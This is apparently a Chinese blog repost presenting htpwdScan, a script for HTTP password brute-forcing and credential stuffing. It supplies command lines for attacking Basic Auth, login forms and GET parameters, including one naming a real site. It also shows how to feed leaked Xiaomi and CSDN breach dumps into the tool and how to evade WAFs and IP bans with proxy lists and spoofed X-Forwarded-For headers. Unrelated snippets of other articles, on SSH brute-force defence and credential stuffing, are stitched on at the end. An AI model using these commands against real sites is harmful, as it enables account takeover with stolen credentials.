htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

李姐姐之前跟我们分享了子域名枚举工具subDomainBrute《subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本》,这回带给我们htpwdScan

htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本:

1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf
2. 支持直接导入互联网上泄露的社工库,发起撞库攻击
3. 支持导入超大字典
4. 其他细微功能:随机X-Forwarded-For、随机SessionID,支持Basic Auth,支持MD5 Hash等

下面是几个简单示例

HTTP Basic认证

htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
导入用户名密码字典即可

表单破解

htpwdScan.py -f post2.txt -d passwd=password.txt -err="success\":false" 

从 post2.txt 导入抓的http包,passwd是需要破解的参数,而password.txt是保存了密码的字典文件 

success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义

GET参数破解

htpwdScan.py -d passwd=password.txt -u="http://xxx.com/inside.php?m=login&username=test&passwd=test" -get -err="success\":false" 

使用-get参数告诉脚本此处是GET请求

撞库攻击

htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip 

htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip 

使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求 

参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号() 

小米的数据行格式是 [email protected] xxxxxxx 也即 (用户名)空白字符(密码) 

(\S+)\s+(\S+) 指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd 

csdn的数据行格式是zdg # 12344321 # [email protected] . 正则表达式写作\S+ # (\S+) # (\S+) 

第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname 

请注意,参数的顺序是重要的

校验HTTP代理

htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误" 

要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记 

一个简单可行的校验方式是:
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

完整参数说明

脚本支持的小功能较多,请耐心阅读以下以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。

usage: htpwdScan.py [options] 

* An HTTP weak pass scanner. By LiJieJie * 

optional arguments:
  -h, --help            显示帮助 

Target:
  -u REQUESTURL         设定目标URL, 示例.
                        -u="https://www.test.com/login.php"
  -f REQUESTFILE        从文件导入HTTP请求
  -https                当从文件导入HTTP请求时,启用https(SSL)
  -get                  使用GET方法,默认: POST
  -basic  [ ...]        HTTP Basic 暴力破解.
                        示例. -basic users.dic pass.dic 

Dictionary:
  -d Param=DictFile [Param=DictFile ...]
                        为参数设定字典文件,
                        支持哈希函数如 md5, md5_16, sha1.
                        示例. -d user=users.dic pass=md5(pass.dic) 

Detect:
  -no302                无视302跳转, 默认302敏感
  -err ERR [ERR ...]    响应文本的破解失败标记,
                        示例. -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    响应文本中的破解成功标记,
                        e.g. -suc "welcome," "admin"
  -herr HERR            响应HTTP头的破解失败标记
  -hsuc HSUC            响应HTTP头的破解成功标记
  -rtxt RetryText       响应文本中的重试标记,出现则重试请求,
                        示例. -rtxt="IP blocked"
  -rntxt RetryNoText    响应文本中的重试标记,出现则重试请求,
                        示例. -rntxt="<body>"
  -rheader RetryHeader  响应头中的重试标记,出现则重试请求,
                        示例. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        响应头中的重试标记,未出现则重试请求,
                        e.g. -rheader="HTTP/1.1 200 OK" 

Proxy and spoof:
  -proxy Server:Port    设定少量HTTP代理
                        示例. -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        从文件批量导入HTTP代理,
                        e.g. -proxylist=proxys.txt
  -checkproxy           检查代理服务器的可用性.
                        可用代理输出到 001.proxy.servers.txt
  -fip                  随机random X-Forwarded-For欺骗源IP
  -fsid FSID            生成随机session ID. 示例. -fsid PHPSESSID
  -sleep SECONDS        每次HTTP结束,等待SECONDS秒,
                        避免IP被临时屏蔽,进入黑名单 

Database attack:
  -database DATABASE    导入社工库中的数据.
                        e.g. -database user,pass=csdn.txt
  -regex REGEX          从社工库中提取数据的字符串,必须分组.
                        e.g. -regex="(\S+)\s+(\S+)" 

General:
  -t THREADS            工作线程数,默认50
  -o OUTPUT             输出文件.  默认: 000.Cracked.Passwords.txt
  -debug                进入debug mode检查HTTP请求和HTTP响应
  -nov                  只显示破解成功的条目,不显示进度
  -v                    show program‘s version number and exit

下载

获取脚本:https://github.com/lijiejie/htpwdScan

反馈

使用中若发现问题,请反馈给我。 my[at]lijiejie.com http://www.lijiejie.com

时间: 2024-10-11 13:40:14

htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本的相关文章

撞库攻击:一场需要用户参与的持久战

一,背景: 用户数据泄露一直是如今互联网世界的一个焦点,从最近的12306数据泄露事件,京东撞库抹黑事件,到之前的CSDN,如家用户数据的泄露,服务商和黑客之间在用户数据这个舞台上一直在进行着旷日持久的攻防战. 对于大多数用户而言,撞库可能是一个很专业的名词,但是理解起来却比较简单,撞库是黑客无聊的"恶作剧",黑客通过收集互联网已泄露的用户+密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登陆的用户. 以京东之前的撞库举例,首先京东的数据库并没有泄漏.黑客只不过通过&

什么是撞库,如何预防撞库攻击?

什么是撞库攻击?撞库对用户可能有哪些危害?近期发生多起撞库事件,让越来越多的人关注撞库漏洞和撞库攻击.尤其对专注业务发展的公司来说,如何防止撞库威胁到信息安全问题不容小觑. 撞库攻击没有那么高深,举个例子来说,假设我有一个XX邮箱的账号,用户名是[email protected],密码是[email protected](很复杂,很安全).同时因为懒癌晚期的缘故,我还用这个账号注册了新浪微博.携程.淘宝.微信等等,都采用邮箱注册并且是同一个密码(这种情况很常见,因为懒得记不同的账号). 于是某天

一个简单的lunix系统下的jar 启动脚本

一.新建shell脚本 start.sh #!/bin/sh ##文件名 fileName="test" ##PID存放地址 当前目录 pidPath="./$fileName-tpid" rm -f $pidPath ##后台运行并输出日志文件 nohup java -jar ./$fileName.jar > ./out.log 2>&1 & echo $! >$pidPath 原文地址:https://www.cnblogs.

防暴力破解一些安全机制

今天一个朋友突然QQ上找我说,网站被攻击了,整个网站内容被替换成违法信息,听到这个消息后着实吓了一跳.于是赶紧去找原因,最后才发现由于对方网站管理密码过于简单,被暴力破解了..在此我把对于防暴力破解预防一些心得分享给朋友们.首先给用户的建议是尽量使用复杂字符组合,例如数字和英文大小写组合等..给开发人员建议第一:建立验证码机制,验证码虽然也能被破掉,但在一定程度上也增加了暴力破解的难度:第二:建立一套完善的防暴力破解安全机制,如连续3次输入错误,锁定账户,24小时内无法再次登录:第三:如果用户绑

【笔记】网易微专业-Web安全工程师-04.WEB安全实战-2.暴力破解

KP君之前买了一个拉杆箱,在初始设置密码时不熟悉步骤,一时手抖,密码已经设好,但不知道设置了什么密码,欲哭无泪.想要找回密码,只能一个个试验,拉杠箱的密码锁有3位,对应000~999,那么最多需要1000次就能打开密码,这就是简单的"暴力破解". 暴力破解(Brute Force):核心就是"穷举法",猜出用户的密码.看起来似乎工程量很大,但是通常用户设置密码都不太复杂,因此利用常用的密码字典,就能破获大部分的密码.理论上来说,只要给定足够的时间,暴力破解就一定能破

防止ssh暴力破解linux密码

网上看到一篇安全方面的文章,常用的网站收藏无法收藏,于是放这里先.具体功能还未测试,请慎用. 下面是博客原文转载,感谢作者辛苦劳动: 服务器在互联网中,每天都有些没事儿干的人在你的机器端口扫来扫去,让管理员非常烦恼.本文描述一个方法,利用本文介绍的脚本结合iptables服务一并使用,用来防止公网计算机通过ssh进行用户口令暴力破解.目前稳重脚本已经在其他项目的实际运营环境中得到验证. 脚本内容: #!/bin/bash # 防SSH密码暴力破解脚本 # 通过分析secure日志文件使用ipta

SSH防暴力破解shell脚本

写的一个SSH的防暴力破解脚本. 原理是检测SSH连接日志,过滤登录失败的IP,超过登录次数就将其添加进hosts.deny文件中,限制其登录. 脚本如下: #! /bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt DEFINE="10" for i in `cat  /root/bla

机器人的洪流:刷库、撞库那些事儿

原文链接 机器人的洪流:刷库.撞库那些事儿 目明@阿里安全 一. 那些信息泄露的事 面对社会上层出不穷的诈骗新闻,我们可以发现骗子们诈骗成功的一个关键是:骗子们知道你叫什么.住在哪里.买了什么东西.花了多少钱.这些信息骗子们是从哪里得来的呢? 最近某票务网站就出现了这么一例case,因为骗子们知道其在该网站上的订单信息.电话和住址,因此认为骗子就是真实的该网站的客服人员,从而被引导到转款等流程中. 二. 他们怎么知道我们的个人信息   大多数人看到这些短信的第一反应是:我的信息被平台商卖给了骗子

浅谈撞库防御策略

2014年12306遭遇撞库攻击,13万数据泄露:2015年乌云网上爆出网易邮箱过亿用户数据由于撞库泄露:数据泄露愈演愈烈,撞库登录成为网站的一大安全威胁, 今天小编就和大家探讨一下如何才能够有效的防止撞库攻击.俗语知己知彼,百战不殆,小编在网上找了个撞库教程整理给大家看看,了解黑客是如何撞库的. 首先找到一个目标网站,随便输入一组用户名和密码,测试其验证码是否可以被绕过. 密码是明文的,提交了正确的验证码,repeater一下 回显是账号和密码错误,再repeater一下,还是显示账号和密码错